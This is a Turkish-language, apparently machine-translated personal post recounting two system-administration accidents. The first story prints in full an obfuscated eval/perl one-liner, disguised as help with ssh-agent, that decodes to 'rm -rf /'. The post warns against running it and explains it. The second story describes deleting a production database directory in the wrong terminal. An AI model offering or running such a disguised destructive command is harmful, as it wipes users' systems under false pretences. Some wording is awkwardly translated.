Yıllar önce, projenin sorumlusu olan bir arkadaşımla bir proje üzerinde çalışırken php'de bazı şeyleri kodluyordum. İşbirliği çabası içinde birbirimize IM' yapıyorduk. Biz her zaman oyunda ileri geri şaka yapıyoruz.
PHP’de dini bir Perl savaşı çekerken ssh-agent’ın makinemde düzgün çalışmasını sağlamaya çalışıyordum. Sonra ssh-acentası hakkında değerlendirilmesi gereken bir şeyden bahsettim (neden bunu söylediğimden emin değilim). Sonra bana bu mesajı bir çaba ile gönderdi, bu yüzden, sorunumda bana yardım etmeyi düşündüğümü düşündüm.
\# eval $(echo ssh-agent |
perl -pe 's/h-a/m -r/' |
perl -pe 's/^ss/r/' |
perl -pe 's/gent/f \//')
UYARI! KOMUTAN ÇALIŞMAYIN !!!
Değerlendirmeyi kaldırır ve iç komutu kendi başına çalıştırırsanız:
rm -rf /
Neler olduğunu farketmem 4 saniyemi aldı, ancak hasar çoktan bitmişti. İşletim sistemimi yeniden kurmak zorunda kaldım. Neyse ki, / etc iirc içindeki bazı şeyler dışında işimden hiçbir şey silinmedi. Ona neden yaptığını soran bir korku mesajı gönderdiğimde kocaman bir kahkaha attı. İkimiz de uzun vadeli sistem mühendisiyiz. Koşacağımı ve basitçe c & p'ing yapmadan önce kontrol etmek için daha dikkatli olacağını düşünmüyordu ve ona güvenmiştim, o yüzden oynamayı bile düşünmemiştim. Söylemeye gerek yok, bu küçük hikaye aramızda her zaman gelir. Böylece ölümsüzleştirmeye karar verdim.
Bunun tekrar olmasını nasıl azalttım? Ben kimseye güvenmiyorum!
Daha az ilginç olan bir hikaye ise birkaç yıl önce işte kritik bir görev kutusunda biraz iş yaptığımdı. Farklı makinelere açık bir kaç terim vardı. Bir dizindeki gereksiz şeyleri kaldırmam gerekiyordu. Eh, şartlarımda kayboldum ve yanlışlıkla çektim . benim yerel dir ama yanlış ana (yanlış terim) !!. Komutu uygulama sunucusunda / var / yerine / var / lib / mysql dizininde (farklı terim) yürüttüm. Söylemeye gerek yok, üretim veritabanını sildim. Neyse ki, ben ve bir meslektaşım birincil olanı yedeklemelerden ve bekleme modundan yeniden inşa ederken çevrilen sıcak bir bekleme durumumuz vardı. Bu yapmak için yaklaşık 18 saat sürdü.
Azaltma: çalıştırmadan önce hangi pencereleri çalıştırdığımı bilmemize dikkat edin.